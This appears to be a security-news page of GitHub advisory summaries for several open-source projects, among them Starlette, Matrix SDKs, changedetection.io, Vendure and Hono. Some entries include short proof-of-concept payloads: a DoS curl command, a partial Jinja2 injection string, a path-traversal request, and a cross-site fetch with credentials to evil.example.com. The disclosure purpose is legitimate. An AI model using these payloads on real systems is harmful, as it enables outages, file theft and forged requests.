Security
Headlines
HeadlinesLatestCVEs

Source

ghsa

GHSA-9224-ggvw-wh7v: VM images built with Image Builder and Proxmox provider use default credentials in github.com/kubernetes-sigs/image-builder

A security issue was discovered in the Kubernetes Image Builder versions <= v0.1.37 where default credentials are enabled during the image build process. Virtual machine images built using the Proxmox provider do not disable these default credentials, and nodes using the resulting images may be accessible via these default credentials. The credentials can be used to gain root access. Kubernetes clusters are only affected if their nodes use VM images created via the Image Builder project with its Proxmox provider.

ghsa
#vulnerability#web#mac#git#kubernetes
GHSA-f96h-pmfr-66vw: Starlette Denial of service (DoS) via multipart/form-data

### Summary Starlette treats `multipart/form-data` parts without a `filename` as text form fields and buffers those in byte strings with no size limit. This allows an attacker to upload arbitrary large form fields and cause Starlette to both slow down significantly due to excessive memory allocations and copy operations, and also consume more and more memory until the server starts swapping and grinds to a halt, or the OS terminates the server process with an OOM error. Uploading multiple such requests in parallel may be enough to render a service practically unusable, even if reasonable request size limits are enforced by a reverse proxy in front of Starlette. ### PoC ```python from starlette.applications import Starlette from starlette.routing import Route async def poc(request): async with request.form(): pass app = Starlette(routes=[ Route('/', poc, methods=["POST"]), ]) ``` ```sh curl http://localhost:8000 -F 'big=</dev/urandom' ``` ### Impact This Denial of ...

GHSA-qcvh-p9jq-wp8v: Malicious homeservers can steal message keys when the matrix-react-sdk user invites another user to a room

### Impact matrix-react-sdk before 3.102.0 allows a malicious homeserver to potentially steal message keys for a room when a user invites another user to that room, via injection of a malicious device controlled by the homeserver. This is possible because matrix-react-sdk before 3.102.0 shared historical message keys on invite. ### Patches matrix-react-sdk 3.102.0 [disables sharing message keys on invite](https://github.com/matrix-org/matrix-react-sdk/pull/12618) by removing calls to the vulnerable functionality. ### Workarounds None. ### References The vulnerability in matrix-react-sdk is caused by calling `MatrixClient.sendSharedHistoryKeys` in matrix-js-sdk, which is inherently vulnerable to this sort of attack. This matrix-js-sdk vulnerability is tracked as CVE-2024-47080 / [GHSA-4jf8-g8wp-cx7c](https://github.com/matrix-org/matrix-js-sdk/security/advisories/GHSA-4jf8-g8wp-cx7c). Given that this functionality is not specific to sharing message keys on *invite*, is optional, ...

GHSA-4jf8-g8wp-cx7c: Matrix JavaScript SDK's key history sharing could share keys to malicious devices

### Impact In matrix-js-sdk versions 9.11.0 through 34.7.0, the method `MatrixClient.sendSharedHistoryKeys` is vulnerable to interception by malicious homeservers. The method implements functionality proposed in [MSC3061](https://github.com/matrix-org/matrix-spec-proposals/pull/3061) and can be used by clients to share historical message keys with newly invited users, granting them access to past messages in the room. However, it unconditionally sends these "shared" keys to all of the invited user's devices, regardless of whether the user's cryptographic identity is verified or whether the user's devices are signed by that identity. This allows the attacker to potentially inject its own devices to receive sensitive historical keys without proper security checks. Note that this only affects clients running the SDK with the legacy crypto stack. Clients using the new Rust cryptography stack (i.e. those that call `MatrixClient.initRustCrypto()` instead of `MatrixClient.initCrypto()`) ar...

GHSA-4r7v-whpg-8rx3: changedetection.io has a Server Side Template Injection using Jinja2 which allows Remote Command Execution

### Summary A Server Side Template Injection in changedetection.io caused by usage of unsafe functions of Jinja2 allows Remote Command Execution on the server host. ### Details changedetection.io version: 0.45.20 ``` docker images REPOSITORY TAG IMAGE ID CREATED SIZE dgtlmoon/changedetection.io latest 53529c2e69f1 44 hours ago 423MB ``` The vulnerability is caused by the usage of vulnerable functions of Jinja2 template engine. ```python from jinja2 import Environment, BaseLoader ... # Get the notification body from datastore jinja2_env = Environment(loader=BaseLoader) n_body = jinja2_env.from_string(n_object.get('notification_body', '')).render(**notification_parameters) n_title = jinja2_env.from_string(n_object.get('notification_title', '')).render(**notification_parameters) ``` ### PoC 1. Create/Edit a URL watch item 2. Under *Notifications* tab insert this payload: ```python {{ self.__init__.__globa...

GHSA-r9mq-3c9r-fmjq: Vendure asset server plugin has local file read vulnerability with AssetServerPlugin & LocalAssetStorageStrategy

# Description ## Path traversal This vulnerability allows an attacker to craft a request which is able to traverse the server file system and retrieve the contents of arbitrary files, including sensitive data such as configuration files, environment variables, and other critical data stored on the server. From Rajesh Sharma who discovered the vulnerability: POC: `curl --path-as-is http://localhost:3000/assets/../package.json` gives you the content of package.json present in the local directory. The vulnerability stems from usage of decodedReqPath directly in path.join without performing any path normalization i.e path.normalize in node.js https://github.com/vendure-ecommerce/vendure/blob/801980e8f599c28c5059657a9d85dd03e3827992/packages/asset-server-plugin/src/plugin.ts#L352-L358 If the vendure service is behind some server like nginx, apache, etc. Path normalization is performed on the root server level but still the actual client's request path will be sent to vendure service ...

GHSA-2234-fmw7-43wr: Hano allows bypass of CSRF Middleware by a request without Content-Type header.

### Summary Bypass CSRF Middleware by a request without Content-Type herader. ### Details Although the csrf middleware verifies the Content-Type Header, Hono always considers a request without a Content-Type header to be safe. https://github.com/honojs/hono/blob/cebf4e87f3984a6a034e60a43f542b4c5225b668/src/middleware/csrf/index.ts#L76-L89 ### PoC ```server.js // server.js import { Hono } from 'hono' import { csrf }from 'hono/csrf' const app = new Hono() app.use(csrf()) app.get('/', (c) => { return c.html('Hello Hono!') }) app.post('/', async (c) => { console.log("executed") return c.text( await c.req.text()) }) Deno.serve(app.fetch) ``` ```poc.html <!-- PoC.html --> <script> async function myclick() { await fetch("http://evil.example.com", { method: "POST", credentials: "include", body:new Blob([`test`],{}), }); } </script> <input type="button" onclick="myclick()" value="run" /> ``` Similarly, the fetch API does not add a Content-Type header for requests ...

GHSA-fmj7-7gfw-64pg: Agent Dart is missing certificate verification checks

Certificate verification (in [lib/agent/certificate.dart](https://github.com/AstroxNetwork/agent_dart/blob/main/lib/agent/certificate.dart)) has been found to contain two issues: - During the delegation verification (in [_checkDelegation](https://github.com/AstroxNetwork/agent_dart/blob/f50971dfae3f536c1720f0084f28afbcf5d99cb5/lib/agent/certificate.dart#L162) function) the canister_ranges aren't verified. The impact of not checking the canister_ranges is that a subnet can sign canister responses in behalf of another subnet. You have more details in the IC specification [here](https://internetcomputer.org/docs/current/references/ic-interface-spec#certification-delegation). Also for reference you can check how is this implemented in [the agent-rs](https://github.com/dfinity/agent-rs/blob/608a3f4cfdcdfc5ca1ca74a1b9d33f2137a2d324/ic-agent/src/agent/mod.rs#L903-L914). - The certificate’s timestamp, i.e /time path, is not verified, meaning that the certificate effectively has no expir...

GHSA-fc9h-whq2-v747: Valid ECDSA signatures erroneously rejected in Elliptic

The Elliptic package 6.5.7 for Node.js, in its for ECDSA implementation, does not correctly verify valid signatures if the hash contains at least four leading 0 bytes and when the order of the elliptic curve's base point is smaller than the hash, because of an _truncateToN anomaly. This leads to valid signatures being rejected. Legitimate transactions or communications may be incorrectly flagged as invalid.

GHSA-6jgw-rgmm-7cv6: PyO3 has a risk of use-after-free in `borrowed` reads from Python weak references

The family of functions to read "borrowed" values from Python weak references were fundamentally unsound, because the weak reference does itself not have ownership of the value. At any point the last strong reference could be cleared and the borrowed value would become dangling. In PyO3 0.22.4 these functions have all been deprecated and patched to leak a strong reference as a mitigation. PyO3 0.23 will remove these functions entirely.